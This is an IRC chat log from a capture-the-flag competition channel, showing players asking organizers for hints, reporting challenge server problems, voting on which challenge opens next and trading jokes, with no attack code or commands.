[22:58] <x7r0n> i mean i feel its the correct..can i ?
[22:58] <x7r0n> ok :-)
[22:59] == oej [~The@174-22-93-25.sxfl.qwest.net] has quit [Ping timeout: 258 seconds]
[22:59] == HotShot [43a49c58@gateway/web/cgi-irc/kiwiirc.com/ip.67.164.156.88] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[23:00] == eZpl0it [~ezpl0it@x2f444fa.dyn.telefonica.de] has joined #pctf
[23:00] <eZpl0it> :>
[23:00] == subsnake [~subsnake@91.148.120.210] has quit [Ping timeout: 240 seconds]
[23:01] <Gynvael> tylerni7: https://107.21.133.9/ from re300 is up?
[23:01] <+tylerni7> Gynvael: it's getting fixed..
[23:02] <Gynvael> ack
[23:02] <+tylerni7> sorry
[23:02] == nvs [6adc406e@gateway/web/cgi-irc/kiwiirc.com/ip.106.220.64.110] has joined #pctf
[23:02] <Gynvael> no worries, just making sure it's not an IP backdoor, but a TCP one
[23:02] <Gynvael> ;D
[23:02] <Guest76035> So for tiffany, if I am running outside a debugger, should I be seeing ptrace errors?
[23:02] == Mawat [~Mawat@97e4e410.skybroadband.com] has joined #pctf
[23:02] <+tylerni7> Gynvael: xP
[23:02] == razvanc [~razvanc@141.85.225.214] has quit [Remote host closed the connection]
[23:02] <+tylerni7> backdoor? whatever could you mean :O
[23:03] == gameredan [~gameredan@112.215.64.111] has joined #pctf
[23:03] == Stean [~Stean@95-89-213-155-dynip.superkabel.de] has joined #pctf
[23:03] <jduck> Gynvael: did you try dirbuster?
[23:03] <Gynvael> tylerni7: nevermind, I mixed up the tasks
[23:03] == gameredan has changed nick to Guest24706
[23:03] <Gynvael> jduck: hey man
[23:03] <jduck> ;D
[23:03] <+tylerni7> ;)
[23:03] <+tylerni7> hey jduck
[23:04] <Gynvael> jduck: yeah! it couldn't connect on 1 server, to I started it on amazon 100 machines
[23:04] <+tylerni7> lol
[23:04] <Gynvael> jduck: just to be sure I get my fair share of cpu
[23:04] == netsurf3 [~netsurf3@cpc10-stav16-2-0-cust832.aztw.cable.virginm.net] has joined #pctf
[23:04] <+tylerni7> when we give source, it really makes me sad when people use dirbuster
[23:04] <jduck> LOL
[23:04] == olkis [4e087709@gateway/web/freenode/ip.78.8.119.9] has joined #pctf
[23:04] <Gynvael> hahahaha
[23:04] <Gynvael> lolz
[23:04] <robbje> people will always use dirbuster :>
[23:04] <+tylerni7> we should really set up some IDS or something that auto detects dirbuster
[23:04] <robbje> dirbusters gonna dirbust!
[23:04] <jduck> they were hoping for http://challenge.server/key.txt
[23:05] <mongo12> ban all dirbusters!
[23:05] <mongo12> and then hang them
[23:05] <mongo12> \o/
[23:05] <+tylerni7> yeah, we block IPs when stuff DoS's
[23:05] <foundation> tylerni7: it could be a research paper, IDS that detect only lame attacks and lets in sophisticated ones!
[23:05] <Gynvael> tylerni7: reply with fake flags on common dirbuster queries
[23:05] <Gynvael> haha
[23:06] <+tylerni7> foundation: haha
[23:07] <mongo12> haha
[23:07] == InternalCumBustI [43a49c58@gateway/web/cgi-irc/kiwiirc.com/ip.67.164.156.88] has joined #pctf
[23:07] <jduck> Gynvael: nooooo, they they will try to submit them all!
[23:07] <mongo12> in most cases, you could probably do, more than X reqs in Y secs, iptables drop for 5min
[23:07] <mongo12> should stop it pretty fast
[23:08] <Pitr_> Time to introduce fake flags with penalty-points
[23:08] <jduck> :)
[23:08] == fnstenv [~fnstenv@176.227.202.120] has quit [Ping timeout: 264 seconds]
[23:08] == wa1ker [6adc5e91@gateway/web/cgi-irc/kiwiirc.com/ip.106.220.94.145] has joined #pctf
[23:08] == Cailou [~Cailou@109.236.80.211] has quit [Ping timeout: 240 seconds]
[23:08] <foundation> you know what i'm gonna do for the next time, i'll make a fake stegano tool and put it on SF and github , and pwn people that use random tools to try to solve stupid stegano challenges
[23:08] <wa1ker> !misc
[23:09] == Adran [adran@botters/staff/adran] has joined #pctf
[23:09] <foundation> who opens a stegano challenge , anyway?
[23:09] == Cailou [~Cailou@23.94.16.69] has joined #pctf
[23:09] == knc [310f825d@gateway/web/freenode/ip.49.15.130.93] has joined #pctf
[23:09] <Gynvael> jduck: that's the idea!
[23:09] <Gynvael> jduck: and each flag, -10 points!
[23:09] <Gynvael> ;D
[23:09] <Gynvael> flags of shame or sth
[23:10] <+tylerni7> Gynvael: xD
[23:10] <+tylerni7> we've discussed things like this >.<
[23:10] <Gynvael> hah ;)
[23:10] <Gynvael> awesome
[23:10] == c0ax [~c0ax@109-93-2-34.dynamic.isp.telekom.rs] has quit [Remote host closed the connection]
[23:10] <InternalCumBustI> im so confused on doge_stego I know where the message is but i have no clue how to get it
[23:11] == fal7Q [~root@pc121.riednet.wh.tu-darmstadt.de] has left #pctf []
[23:11] == nvs [6adc406e@gateway/web/cgi-irc/kiwiirc.com/ip.106.220.64.110] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[23:11] <player10> copy paste
[23:12] == j0e__ [~The@174-22-95-184.sxfl.qwest.net] has joined #pctf
[23:12] <InternalCumBustI> copy paste what?
[23:12] <ShortKidd> ohhey heartbleed worked the first time.
[23:13] <player10> copy paste the flag
[23:13] <+pctf_scoreboard> gcc server is up. thank you for you patience and flying PPPair.
[23:13] <+tylerni7> heh
[23:14] <Gynvael> thanks
[23:14] <mouth`> argh whatscat! we've exploited you why you no give flag??
[23:15] <ShortKidd> HAve you asked nicely?
[23:15] <+tylerni7> mouth`: you can pm me perhaps
[23:15] <+tylerni7> you probably didn't exploit it hard enough
[23:15] == fritz[] [~unk@93-138-136-136.adsl.net.t-com.hr] has joined #pctf
[23:15] <+tylerni7> :)
[23:16] <player10> did you try turning your exploit off and on again?
[23:16] <ShortKidd> Try asking nicely. I know I wouldn't do something for you if you exploited me.
[23:16] <halfvollemelk> any tips for rendezvous challenge?
[23:16] <halfvollemelk> i'm stuck
[23:16] == ir|na [~i@swarm.cs.pub.ro] has quit [Quit: leaving]
[23:17] == awesie [~awesie@freenode/sponsor/awesie] has joined #pctf
[23:17] <n00bz> who i can pm about web300?
[23:17] == mode/#pctf [+v awesie] by ChanServ
[23:17] <mouth`> tried asking the t-rex nicely yeah
[23:17] <Adran> trex cat must be repaired :>
[23:17] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has joined #pctf
[23:17] == trelgak [~trelgak@71.202.135.122] has quit [Read error: Connection reset by peer]
[23:18] == olkis [4e087709@gateway/web/freenode/ip.78.8.119.9] has quit [Quit: Page closed]
[23:18] == checkmayte [~anonymous@mang-2-res.dynamic.ucsd.edu] has quit [Quit: checkmayte]
[23:18] == TMT [~taktaz_m2@5.127.0.191] has joined #pctf
[23:19] <iZsh> the number of PM is increasing it seems
[23:19] <+tylerni7> ?
[23:20] <Mawat> The Chandler relay servers, is there just 1?
[23:20] <+tylerni7> Mawat: there are multiple
[23:20] <Mawat> So I can use any?
[23:20] <+tylerni7> houqp: is the authority though (it's his problem)
[23:20] <+houqp> yes
[23:20] <+houqp> any of them will work
[23:21] == drzoid [~drzoid@128.198.97.43] has quit [Ping timeout: 240 seconds]
[23:23] == pez [~pez@p5481D7A7.dip0.t-ipconnect.de] has quit [Quit: WeeChat 0.4.3]
[23:23] == bobsteam [1817f0b6@gateway/web/freenode/ip.24.23.240.182] has quit [Ping timeout: 240 seconds]
[23:24] == wooyaggo [~wooyaggo@182.218.50.138] has quit [Quit: wooyaggo]
[23:24] == Stean [~Stean@95-89-213-155-dynip.superkabel.de] has quit [Quit: Leaving.]
[23:24] == pctf533 [46b9d762@gateway/web/freenode/ip.70.185.215.98] has joined #pctf
[23:24] <asmoday> I cannot get shit on this
[23:25] <+houqp> have you tried poop?
[23:25] <Anyny0> x)
[23:25] <tokki> lol
[23:26] == DKay [uid11914@gateway/web/irccloud.com/x-hwffhwtrovwugdvc] has joined #pctf
[23:26] <asmoday> whatacat failed to email, mtpox got admin.php failed, heartbleed none of my scripts dump anything, paris ollydbg just execptions, pyjail just get registers no flags
[23:26] <asmoday> time to apply at mcdonalds or walmart
[23:27] <pctf533> lol
[23:27] == copyleft_ [~scott@d192-24-117-65.col.wideopenwest.com] has quit [Ping timeout: 258 seconds]
[23:28] == Anyny0 [6babd56d@gateway/web/cgi-irc/kiwiirc.com/ip.107.171.213.109] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[23:28] <Brooklynt_Overfl> Everyone needs a plan B. There is always stripping.
[23:28] <nullProtectorate> lol
[23:28] <x_x> Just solved my first stego challenge. Walmart avoided. Faith in self, restored.
[23:28] <x_x> >_>
[23:28] <x_x> <_<
[23:28] <asmoday> I have a not so large member, so perhaps nursing home stripping
[23:29] <+tylerni7> lol
[23:29] <+gbarboza> Awk
[23:29] tylerni7 almost spat water on his screen
[23:29] <asmoday> like bad grandpa deal
[23:29] == s3Rious [~gitsmsg@176.92.133.238] has quit [Quit: s3Rious]
[23:31] <asmoday> anybody want to get addicted to drugs instead of these crazy challenges
[23:32] == TMT [~taktaz_m2@5.127.0.191] has quit [Ping timeout: 240 seconds]
[23:32] == kurtisebear [sid28273@gateway/web/irccloud.com/x-ettntmmjyjvsqznk] has joined #pctf
[23:32] == n00b13 [~n00b13@unaffiliated/nitsua] has joined #pctf
[23:33] == n00bz [~1234@host185-107-dynamic.20-79-r.retail.telecomitalia.it] has quit [Remote host closed the connection]
[23:33] <+gbarboza> asmoday: Why not both?
[23:33] == ari_ [~ari_@dy869-1-82-228-24-60.fbx.proxad.net] has joined #pctf
[23:34] == bobsteam [1817f0b6@gateway/web/freenode/ip.24.23.240.182] has joined #pctf
[23:34] <asmoday> this is too stressful for multitasking
[23:35] == xhs [5e88c674@gateway/web/freenode/ip.94.136.198.116] has joined #pctf
[23:38] == j0f [~j0f@unaffiliated/j0f] has quit [Ping timeout: 240 seconds]
[23:39] == wa1ker [6adc5e91@gateway/web/cgi-irc/kiwiirc.com/ip.106.220.94.145] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[23:39] <x7r0n> 2012 pwnies
[23:40] <x7r0n> guess u shld have made 2014
[23:40] <x7r0n> :-p
[23:41] == Mawat [~Mawat@97e4e410.skybroadband.com] has quit [Ping timeout: 240 seconds]
[23:41] == anyny0 [6babd56d@gateway/web/cgi-irc/kiwiirc.com/ip.107.171.213.109] has joined #pctf
[23:43] == ubuntor [~ubuntor@ip98-169-88-223.dc.dc.cox.net] has joined #pctf
[23:43] == Mawat [~Mawat@97e4e410.skybroadband.com] has joined #pctf
[23:45] == subsnake [~subsnake@91.148.120.210] has joined #pctf
[23:45] == Tapyroe___ [~chatzilla@5.151.196.159] has joined #pctf
[23:45] == Tapyroe___ [~chatzilla@5.151.196.159] has quit [Client Quit]
[23:46] == Tapyroe__ [~chatzilla@5.151.196.159] has quit [Read error: Connection reset by peer]
[23:46] <a13k> is rendezvous working as expected?
[23:46] <anyny0> Probably
[23:46] <+tylerni7> a13k: almost certainly
[23:46] <+houqp> a13k: you know the solution?
[23:46] <anyny0> Not being able to connect is part of it
[23:46] <a13k> tylerni7: thanks.
[23:46] <a13k> houqp: maybe
[23:47] <+houqp> ok pm me please :)
[23:47] <a13k> still some things to try
[23:47] <a13k> will pm if they don't work
[23:47] <anyny0> Any hints for WhatsCat? I really have no clue on where might the exploit be
[23:47] == ebeip90 [~user@162.243.211.14] has quit [Quit: Lost terminal]
[23:47] <cybertech> so i am trying to find out the twenty cypto
[23:47] <cybertech> i found the key
[23:47] <cybertech> but its not the flag
[23:47] <cybertech> but than i found a poem
[23:48] <anyny0> The flag might be in the poem
[23:48] <+tylerni7> maybe specifically towards the end
[23:48] <a13k> houqp: issue is on my end
[23:48] <+mserrano> lol
[23:49] == x7r0n [x7r0n@117.254.106.13] has quit [Quit: Leaving]
[23:49] <halfvollemelk> tips for rendezvous? i could rly use one
[23:49] <+houqp> nice :)
[23:49] <a13k> houqp: never hurts to ask though :-p  I've ran/cometed in enough ctf's to know to ask if things are working as expected before beating my head against the desk
[23:49] <+mserrano> Good job hellman! there goes wheee
[23:50] <+houqp> a13k: yeah, rendezvous behaviours like it's down most of the time, which is sad :(
[23:51] <+tylerni7> nice mslc :)
[23:51] <+houqp> halfvollemelk: scroll back
[23:51] <Cimmi> cybertech: look at the end
[23:51] <hellman> open more crypto, i can't look at rsa :/
[23:51] <+tylerni7> hahah
[23:51] <+mserrano> hellman: lol why not
[23:51] <+tylerni7> why not xD
[23:52] <a13k> houqp: I kinda figured that.  seemed obvious from the initial text from the challange.  the issue I had was some configs
[23:52] <anyny0> Could someone give me a tiny lead on whatsCat?
[23:52] <cybertech> cimmi i am
[23:52] <cybertech> i dont get it
[23:52] <cybertech> hmm
[23:53] == Mawat [~Mawat@97e4e410.skybroadband.com] has quit [Ping timeout: 240 seconds]
[23:53] == Mawat [~Mawat@97e4e410.skybroadband.com] has joined #pctf
[23:53] == reanimus [~animus@96-32-143-144.dhcp.gwnt.ga.charter.com] has joined #pctf
[23:53] <+mserrano> voting is open
[23:53] <+mserrano> I would recommend voting for chance
[23:53] <+mserrano> you've gotta get something this time :P
[23:53] == ebeip90 [~user@162.243.211.14] has joined #pctf
[23:53] <+tylerni7> that's how randomness works, sure
[23:53] <+tylerni7> -_-
[23:54] <+mserrano> yup
[23:54] <+mserrano> it is
[23:54] <x_x> Yeah, twenty is giving me a headache, too. Found the flag, but it doesn't accept.
[23:54] <+tylerni7> x_x: pm me/
[23:54] <+mserrano> x_x: pm me what you think the flag is
[23:54] <+mserrano> or tylerni7
[23:55] <asmoday> all in all am learning a bit, I really hate the plague though, now that move is ruined
[23:55] <+tylerni7> heh
[23:55] <Cimmi> The flag should be readable as a sentence
[23:55] <arthurdent> asmoday: hold your tongue sir
[23:56] <arthurdent> that movie is a classic
[23:56] <corewar> it can never be ruined
[23:56] <asmoday> classic pain the arse
[23:56] <asmoday> that gcc though
[23:57] <+pctf_scoreboard> that movie is the best
[23:57] <asmoday> plague could go back and become Dades dad
[23:57] == virodoran [uid2011@gateway/web/irccloud.com/x-nkhkmgpqfkcsbbie] has quit [Quit: Connection closed for inactivity]
[23:57] == xhs [5e88c674@gateway/web/freenode/ip.94.136.198.116] has quit [Ping timeout: 240 seconds]
[23:57] <arthurdent> wat
[23:58] <asmoday> then move through time and impregnate kate then really screw things up for Zero Cool
[23:58] <+tylerni7> lol
[23:59] <asmoday> after that Penn aka Hal can do some magic with Teller who was in the movie as Gibson Mainframe
[00:00] <asmoday> oh Phiber if you only knew
[00:00] == badeec [~badeec@2a02:810d:640:7bc:6a5d:43ff:fe80:ce1a] has quit [Quit: Leaving]
[00:02] == paraxor [~aoepxnpe@unaffiliated/prazial] has joined #pctf
[00:03] == amohn9 [~andrew@cumm111-0b02-acm2-dhcp152.bu.edu] has quit [Remote host closed the connection]
[00:03] == rvpersie [~darkwonde@pool-100-1-142-100.nwrknj.fios.verizon.net] has joined #pctf
[00:04] == XPenguin [~XPenguin@145.255.3.82] has left #pctf []
[00:04] <arthurdent> now that you mention it, gibson mainframe never spoke
[00:04] == ghostpixel [~quaid@hsv.pikewerks.com] has joined #pctf
[00:04] <asmoday> right haha
[00:04] <asmoday> and Penn is never far from Teller
[00:04] <asmoday> its like his liver, little and full of stress
[00:05] == Bijan-E [~bijan-e@unaffiliated/bijan-e] has quit [Ping timeout: 245 seconds]
[00:05] <ghostpixel> i'm working on reekee, but i can't seem to find the file location where the site is being hosted from...
[00:05] == Mawat [~Mawat@97e4e410.skybroadband.com] has quit [Ping timeout: 245 seconds]
[00:06] == poppopret [~poppopret@130.65.0.2] has joined #pctf
[00:06] <asmoday> I am surprised finding flight 370 wasnt a flag on this....
[00:06] <asmoday> too soon, too soon....
[00:06] == Mawat [~Mawat@97e4e410.skybroadband.com] has joined #pctf
[00:07] == knc [310f825d@gateway/web/freenode/ip.49.15.130.93] has quit [Ping timeout: 240 seconds]
[00:07] == phiber_ [~bleh@1.Red-88-3-171.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
[00:08] == ghostpixel [~quaid@hsv.pikewerks.com] has quit [Client Quit]
[00:09] <n00b13> what is the input key length for web 150
[00:09] <+cai_> heh we have over 1000 registered teams now :p (780 of them have at least 1 point)
[00:09] == chunderstruck1 [~daniel@184-98-244-58.phnx.qwest.net] has quit [Quit: Leaving.]
[00:10] == knc [6a4cc70d@gateway/web/freenode/ip.106.76.199.13] has joined #pctf
[00:12] == jarCrack [~jarCrack@24-134-71-89-dynip.superkabel.de] has quit [Quit: Verlassend]
[00:13] <+tylerni7> ooo dragon sector close to 2nd place
[00:13] <+cai_> voting ends in 5 minutes
[00:13] == fritz[] [~unk@93-138-136-136.adsl.net.t-com.hr] has quit [Ping timeout: 245 seconds]
[00:14] <+mserrano> oh man DS
[00:14] <+mserrano> goin' hard
[00:14] == rvpersie [~darkwonde@pool-100-1-142-100.nwrknj.fios.verizon.net] has quit [Remote host closed the connection]
[00:14] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has quit [Remote host closed the connection]
[00:14] <+cai_> 1 point difference :p
[00:14] <+cai_> now in 2nd
[00:14] <+cai_> nice
[00:15] <+mserrano> now you just have to catch 0xffa ;)
[00:16] == dedet [d42931c1@gateway/web/freenode/ip.212.41.49.193] has quit [Ping timeout: 240 seconds]
[00:16] <tokki> OH SHIT
[00:16] <tokki> I GO IN AND THE CHRONOSPHERE IS ON
[00:16] <tokki> DANGGGGGG
[00:16] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has joined #pctf
[00:16] <+tylerni7> zomg, teh chronospherez
[00:17] <+tylerni7> but yeah voting time :)
[00:17] <tokki> wait im still confused tho, if you vote 1, does it skip the opened challs?
[00:17] <+tylerni7> yes
[00:17] <n00b13> any hints for web150?
[00:18] <tokki> WE NEED ANOTHER CHANCE VOTEZ 1
[00:18] <+mserrano> uh
[00:18] <+cai_> you mean 3
[00:18] <+mserrano> you mean vote 3
[00:18] == rev1550 [~lorenza@74.123.248.143] has joined #pctf
[00:18] <tokki> k
[00:18] <tokki> 3
[00:18] == Bijan-E [~bijan-e@unaffiliated/bijan-e] has joined #pctf
[00:18] <tokki> i thought skipping as like skipping the tiles for opened challs
[00:18] <+mserrano> you are currently at gcc
[00:18] <tokki> nvm
[00:18] <+mserrano> lol
[00:18] <tokki> lol
[00:19] <+cai_> voting ends soon
[00:19] == naam [~naam@83.141.77.130] has joined #pctf
[00:19] <tokki> *gasp* *gaspgasp*
[00:19] <n00b13> is it just me or should web150 be worth more
[00:19] <+cai_> damn
[00:19] <+cai_> no luck on chance card
[00:19] <+cai_> new voting starts
[00:19] <+cai_> you have 5 mins :)
[00:19] <tokki> DANGGGGGG
[00:20] == ubuntor [~ubuntor@ip98-169-88-223.dc.dc.cox.net] has quit [Remote host closed the connection]
[00:20] == Cailou [~Cailou@23.94.16.69] has quit [Ping timeout: 245 seconds]
[00:20] <tokki> wait no i dont think i get the chronosphere thing but i guess its okay
[00:20] <corpille> crap no luck for today
[00:20] <tokki> ikr
[00:20] <+houqp> 15:50:31  +tylerni7 | that's how randomness works, sure
[00:20] <asmoday> I am playing pokemon
[00:20] <rev1550> is anyone else having problems download doge_stege
[00:21] <tokki> go pikachu!!!!!!!!!
[00:21] == rvpersie_ [~darkwonde@pool-100-1-142-100.nwrknj.fios.verizon.net] has joined #pctf
[00:21] == phiber_ [~bleh@206.Red-83-38-173.dynamicIP.rima-tde.net] has joined #pctf
[00:21] tokki throws hamster
[00:21] <+cai_> tokki: what don't you get it?
[00:21] <tokki> k so you guys said that the voting skips opened challs
[00:21] <+cai_> the hatched tile is where the current position is
[00:21] <+cai_> yes it does
[00:21] <tokki> so if you vote like 1 right now,
[00:22] <+cai_> it will open pwnables 150
[00:22] <tokki> where do you go
[00:22] <+cai_> at the end of the present board
[00:22] <tokki> OH I GET IT
[00:22] <+cai_> :)
[00:22] <tokki> OH
[00:22] <+mserrano> 1 -> pwnable 150; 2 -> reversing 250; 3 -> pwnable 200; 4 -> forensics 350; 5 -> crypto 250; 6 -> misc 10
[00:22] <tokki> sry for my idioticness
[00:22] <+mserrano> pls misc 10
[00:22] <+mserrano> or
[00:22] <+mserrano> forensics 350
[00:22] <tokki> pls misc 10
[00:22] <+mserrano> or
[00:22] <tokki> pls
[00:22] <corpille> misc 10
[00:22] <+mserrano> pwnable 150
[00:22] <tokki> pls
[00:22] <+cai_> lol
[00:23] <anyny0> Mis 10 :D
[00:23] <tokki> pls misc
[00:23] <tokki> ily guys
[00:23] == alexwebr [~alexwebr@162.243.13.193] has joined #pctf
[00:23] <+mserrano> no
[00:23] <+cai_> what about 2-part forensics 350?
[00:23] <tokki> pls
[00:23] <+mserrano> pls pwnable 150
[00:23] <+mserrano> or 2-part forensics
[00:23] <tokki> pls misc 10
[00:23] <Hertz_> pls nothing
[00:23] <tokki> pls
[00:23] <tokki> lol
[00:23] <+mserrano> Hertz_: lo
[00:23] <+mserrano> l
[00:24] <tokki> i aint got time fo dat
[00:24] <asmoday> is the point to just do pokemon forever
[00:24] <tokki> pokemon!
[00:24] == Luffy [47cfa62b@gateway/web/freenode/ip.71.207.166.43] has joined #pctf
[00:24] <asmoday> its stuck on chaning art i think
[00:24] == naam [~naam@83.141.77.130] has quit [Read error: Connection reset by peer]
[00:24] <asmoday> changing
[00:24] <asmoday> ha i think i broke it
[00:24] <+cai_> misc10 is opened
[00:24] <+cai_> lol
[00:24] <+cai_> you guys win
[00:24] == naam [~naam@83.141.77.130] has joined #pctf
[00:25] <+mserrano> lol
[00:25] <tokki> ILYyYYYYY
[00:25] <tokki> ♥︎
[00:25] <+mserrano> lol
[00:25] <+cai_> time to watch people submitting wrong number
[00:25] <+cai_> lol
[00:25] <+mserrano> everyone is guessing the wrong thing
[00:25] <tokki> lol
[00:25] <+mserrano> like literally everyone
[00:25] <tokki> lol
[00:25] <subsnake> will there be any hints soon?
[00:25] <tokki> lemme join ;)
[00:26] <tokki> NOT TILL THE CHANCE
[00:26] <+mserrano> YEAH BS LABS
[00:26] <+cai_> grats BS Labs
[00:26] <+mserrano> FIRST BLOOD
[00:26] <tokki> THE FREAKING CHANCE
[00:26] <tokki> 300G
[00:26] <+cai_> voting is up again lol
[00:26] <+mserrano> yay MSLC
[00:26] <+mserrano> and H4x0rPsch0rr
[00:26] <+mserrano> there goes the breakthrough
[00:26] <anyny0> Hmm
[00:26] <+cai_> except there is no bonus point
[00:26] <+cai_> lol
[00:27] <anyny0> x)
[00:27] == wahwah [~wahwah@ctf.inso.tuwien.ac.at] has joined #pctf
[00:27] <tokki> shet
[00:28] <+mserrano> yay dcua
[00:28] <+mserrano> 4 solves
[00:28] <tokki> i cant believe im stuck in misc 10
[00:28] <+mserrano> misc 10 is a quality problem
[00:28] == vooX [4e81ae54@gateway/web/freenode/ip.78.129.174.84] has joined #pctf
[00:28] <tokki> hmm..
[00:28] == melanie [~melanie@acta.techinc.nl] has quit []
[00:28] <corpille> 38.55 * 1700 mmhh ...
[00:28] <asmoday> yeah not what you think
[00:28] <+cai_> it's hard
[00:29] <+tylerni7> yeah man
[00:29] <+cai_> not everyone can do that correctly
[00:29] <+tylerni7> multiplication is hard
[00:29] <tokki> D:
[00:29] <tokki> D::
[00:29] == be [ac17cef9ca@gateway/web/cgi-irc/kiwiirc.com/x-krbszdhddwaqbbzd] has left #pctf []
[00:29] <asmoday> google is not your fiend
[00:29] == be [ac17cef9ca@gateway/web/cgi-irc/kiwiirc.com/x-krbszdhddwaqbbzd] has joined #pctf
[00:29] <asmoday> friend
[00:29] <tokki> D:::::
[00:29] <tokki> how did people solve dis
[00:29] <vooX> damn, web300 is more easier than web200..
[00:30] subsnake pings tylerni7 pm
[00:31] tokki hurls trout
[00:31] <bobsteam> is it vooX ?
[00:31] <vooX> yup, at least the kpop one
[00:31] <vooX> which i'm still fighting with
[00:32] <+mserrano> bubble bubble pop pop
[00:32] <bobsteam> ah, I haven't started kpop yet
[00:32] <tokki> kpop is the best
[00:32] <bobsteam> I'm too busy hating memes and cats
[00:32] <+cai_> man we are gonna hit 10K submissions soon >:-)
[00:33] <+tylerni7> lol
[00:33] <rray> web300 is frustrating ;_;
[00:33] == player10 [~root@vps-8685-0281.cloud.tilaa.com] has quit [Ping timeout: 276 seconds]
[00:33] <tokki> lol
[00:33] <vooX> not as furstrating as songs-web
[00:34] <+tylerni7> forensics 250 is cool :)
[00:34] <+cai_> forensics opened
[00:34] == knc [6a4cc70d@gateway/web/freenode/ip.106.76.199.13] has quit []
[00:34] <+tylerni7> good challenge to open up :)
[00:34] <+mserrano> CURLCORRRRRRRRRRRRRRRRRRE
[00:34] <tokki> CURLLLLLLL
[00:34] == paraxor [~aoepxnpe@unaffiliated/prazial] has left #pctf []
[00:35] == frozencemetery [~frozencem@pool-71-174-94-227.bstnma.fios.verizon.net] has quit [Ping timeout: 250 seconds]
[00:35] == naam [~naam@83.141.77.130] has quit [Ping timeout: 276 seconds]
[00:36] == lfogel [~lafogel@salisbury-71-252.dyn.wpi.edu] has quit [Ping timeout: 276 seconds]
[00:36] == rev1550 [~lorenza@74.123.248.143] has quit [Quit: Leaving.]
[00:38] <marcan> man, paris took way too long.
[00:38] <marcan> but that was cute.
[00:38] <+cai_> grats :)
[00:39] == obriencd [969cdb9b@gateway/web/freenode/ip.150.156.219.155] has joined #pctf
[00:39] <dracu> i don't get the flag for misc10 - i mean i got it, but i don't get it, u know ? :D
[00:39] <obriencd> i didnt get it so i really dont get it
[00:39] <+cai_> if you got the flag, it would have accepted and gave you points!
[00:39] <anyny0> The number's important but have so many flag possibilites D=
[00:40] == mascot [~user@ec2-23-20-163-234.compute-1.amazonaws.com] has quit [Quit: Leaving.]
[00:40] <dracu> i actually got the flag
[00:40] <dracu> and the points :)
[00:40] == mouth`1 [~mouth@5.45.180.209] has joined #pctf
[00:40] <+cai_> ah
[00:40] <dracu> but why was that the flag ?
[00:40] == pouete [~pouete@unaffiliated/pouete] has joined #pctf
[00:40] == p45741 [~Robin@5.45.180.209] has joined #pctf
[00:40] <+cai_> the process of getting that flag should've let you know?
[00:41] <dracu> yes
[00:41] == krycek1 [~krycek@5.45.180.209] has joined #pctf
[00:41] <+cai_> then you understand why it is what it is :p
[00:42] <dracu> yeah... i was just amazed that it said "success"... (wtf?!)
[00:42] == p4574 [~Robin@5.45.180.209] has quit [Ping timeout: 252 seconds]
[00:42] <+cai_> :)
[00:42] <dracu> fun, but hard ctf 4 n00bs
[00:42] == frozencemetery [~frozencem@pool-71-174-94-227.bstnma.fios.verizon.net] has joined #pctf
[00:42] == mode/#pctf [+v frozencemetery] by ChanServ
[00:42] == mouth` [~mouth@5.45.180.209] has quit [Ping timeout: 252 seconds]
[00:42] == krycek [~krycek@5.45.180.209] has quit [Ping timeout: 252 seconds]
[00:42] <asmoday> if this is rfc i will be very upset
[00:43] == hammerpig [~user@gateway/tor-sasl/hammerpig] has quit [Ping timeout: 272 seconds]
[00:43] == kanghee [~kanghee@143.248.193.69] has quit [Remote host closed the connection]
[00:43] <+cai_> yay over 10K submission \o/
[00:43] <+houqp> \o/
[00:43] == bloup_ [95acea33@gateway/web/freenode/ip.149.172.234.51] has quit [Quit: Page closed]
[00:44] <tokki> lol
[00:45] == hammerpig [~user@gateway/tor-sasl/hammerpig] has joined #pctf
[00:45] <vooX> damn, the last stage of thes web-songs makes me crazy... :(
[00:46] == obriencd [969cdb9b@gateway/web/freenode/ip.150.156.219.155] has quit [Ping timeout: 240 seconds]
[00:47] == talanor [~talanor@91.224.149.24] has joined #pctf
[00:49] == naam [~naam@83.141.77.130] has joined #pctf
[00:49] <NK_> tylerni7: i feel like there is a disturbance in the force
[00:49] <NK_> the gameboard say our last submission was a day ago
[00:49] <+cai_> NK_: refresh?
[00:50] <NK_> same
[00:50] <+cai_> hmm
[00:50] == garganoth [~Alex@107.171.213.109] has left #pctf []
[00:50] <+cai_> cache flush refresh?
[00:50] <NK_> the scoreboard say 15 min though
[00:50] == mad0na [~subsnake@91.148.120.210] has joined #pctf
[00:51] <+cai_> yeah, don't worry about it.. it's just there more for the styles/quick info, but things are correct in db
[00:51] <NK_> hm cache flush refresh say the same
[00:51] == lstamour_ [~lstamour@beitshlomo.com] has joined #pctf
[00:51] <+cai_> weird :/
[00:51] <NK_> yep
[00:51] <NK_> let's see on another browser just in case
[00:51] <vooX> btw, this year, web is pretty hard
[00:51] <NK_> same with another browser
[00:51] <+tylerni7> vooX: I think normally we don't have much web
[00:52] <+tylerni7> people asked for more web and forensics
[00:52] == naam [~naam@83.141.77.130] has quit [Read error: Connection reset by peer]
[00:52] <NK_> yes it's good
[00:52] <+cai_> NK_: strange. it
[00:52] <+cai_> it's probably cache on our side then
[00:52] <+tylerni7> we gave them web and forenics that we thought were fun :)
[00:52] <+cai_> but yeah, i wouldn't worry about it
[00:52] <NK_> too much exploit / reverse in the past years
[00:52] <+cai_> thanks for letting us know tho
[00:52] <+tylerni7> NK_: :/
[00:52] <+tylerni7> we have more of those challenges too, they just aren't opened yet :P
[00:52] <NK_> tylerni7: i know not everyone aggree with this :p
[00:53] <mrsmith67> can anyone help me with multipliation?
[00:53] <mrsmith67> i know it has to do with time...
[00:53] <+tylerni7> mrsmith67: multiplication is hard
[00:53] <+tylerni7> you should have a computer do it
[00:53] <NK_> addition, multiplication and division is hard
[00:53] <NK_> according to the past years
[00:54] <+cai_> math is hard
[00:54] == lfogel [~lafogel@salisbury-71-252.dyn.wpi.edu] has joined #pctf
[00:55] == DeadheadTn [~xtr4@197.0.88.130] has joined #pctf
[00:55] <pouete> as a question : on __nightmares__ have really nothing to do with pyjail ?
[00:55] <+cai_> NK_: you can guess what will be on next year :)
[00:55] == psaikonet1 [~psaikonet@cpe-72-179-33-155.austin.res.rr.com] has joined #pctf
